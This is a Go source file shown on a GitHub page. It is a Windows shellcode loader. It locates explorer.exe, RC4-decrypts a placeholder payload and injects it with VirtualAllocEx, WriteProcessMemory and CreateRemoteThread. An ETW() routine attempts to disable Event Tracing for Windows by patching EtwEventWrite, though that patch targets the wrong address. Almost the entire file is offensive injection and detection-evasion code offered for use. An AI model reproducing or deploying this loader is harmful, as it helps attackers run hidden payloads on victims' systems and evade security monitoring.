-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathmain.go
144 lines (121 loc) · 3.91 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
package main
import (
"flag"
"log"
"syscall"
"unsafe"
"fmt"
"crypto/rc4"
)
const (
TH32CS_SNAPPROCESS = 0x00000002
INVALID_HANDLE_VALUE = ^uintptr(0)
MAX_PATH = 260
)
type PROCESSENTRY32 struct {
dwSize uint32
cntUsage uint32
th32ProcessID uint32
th32DefaultHeapID uintptr
th32ModuleID uint32
cntThreads uint32
th32ParentProcessID uint32
pcPriClassBase int32
dwFlags uint32
szExeFile [MAX_PATH]uint16
}
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procCreateToolhelp32Snapshot = kernel32.NewProc("CreateToolhelp32Snapshot")
procProcess32First = kernel32.NewProc("Process32FirstW")
procProcess32Next = kernel32.NewProc("Process32NextW")
procCloseHandle = kernel32.NewProc("CloseHandle")
procLstrcmpi = kernel32.NewProc("lstrcmpiW")
openProcess = kernel32.NewProc("OpenProcess")
virtualAllocEx = kernel32.NewProc("VirtualAllocEx")
writeProcessMemory = kernel32.NewProc("WriteProcessMemory")
createRemoteThread = kernel32.NewProc("CreateRemoteThread")
virtualProtect = kernel32.NewProc("VirtualProtect")
ntdll = syscall.NewLazyDLL("ntdll.dll")
etwEventWrite = ntdll.NewProc("EtwEventWrite")
)
func main() {
ETW()
log.SetFlags(0)
pid := FindTarget("explorer.exe")
if pid != 0 {
fmt.Printf("Process Explorer.exe found, PID: %d\n", pid)
} else {
fmt.Println("Processo Explorer.exe not found")
}
processId := pid
flag.Parse()
key := []byte("\x44\xe6\x89\xe7\xbf\xcd\x3e\xcb\x68\x85\x8e\xbc\xda\x61\xe7\xf7")
//Insert the encrypted pyld
sch := []byte("")
processID := (int(processId))
handle, _, _ := openProcess.Call(0x001F0FFF, 0, uintptr(processID))
destAddress, _, _ := virtualAllocEx.Call(handle, 0, uintptr(len(sch)), 0x1000|0x2000, 0x40)
decrypted, _ := Decryptsch(sch, key)
writeProcessMemory.Call(handle, destAddress, uintptr(unsafe.Pointer(&decrypted[0])), uintptr(len(decrypted)), 0)
createRemoteThread.Call(handle, 0, 0, destAddress, 0, 0)
}
func Decryptsch(encrypted []byte, key []byte) ([]byte, error) {
// Decrypt the encrypted sch using the key
decrypted := make([]byte, len(encrypted))
cipher, _ := rc4.NewCipher(key)
cipher.XORKeyStream(decrypted, encrypted)
return decrypted, nil
}
func FindTarget(procname string) uint32 {
hProcSnap, _, _ := procCreateToolhelp32Snapshot.Call(uintptr(TH32CS_SNAPPROCESS), 0)
if hProcSnap == uintptr(INVALID_HANDLE_VALUE) {
return 0
}
var pe32 PROCESSENTRY32
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
ret, _, _ := procProcess32First.Call(hProcSnap, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
procCloseHandle.Call(hProcSnap)
return 0
}
var pid uint32 = 0
for {
ret, _, _ := procProcess32Next.Call(hProcSnap, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
break
}
ret, _, _ = procLstrcmpi.Call(uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(procname))), uintptr(unsafe.Pointer(&pe32.szExeFile[0])))
if ret == 0 {
pid = pe32.th32ProcessID
break
}
}
procCloseHandle.Call(hProcSnap)
return pid
}
func ETW() {
patch := []byte{0xC3}
var oldProtect uint32
ret, _, err := virtualProtect.Call(
uintptr(unsafe.Pointer(&etwEventWrite)),
uintptr(len(patch)),
uintptr(syscall.PAGE_EXECUTE_READWRITE),
uintptr(unsafe.Pointer(&oldProtect)),
)
if ret == 0 {
fmt.Println("VirtualProtect failed:", err)
return
}
copy((*[1 << 30]byte)(unsafe.Pointer(&etwEventWrite))[:], patch)
ret, _, err = virtualProtect.Call(
uintptr(unsafe.Pointer(&etwEventWrite)),
uintptr(len(patch)),
uintptr(oldProtect),
uintptr(unsafe.Pointer(&oldProtect)),
)
if ret == 0 {
fmt.Println("VirtualProtect failed:", err)
return
}
}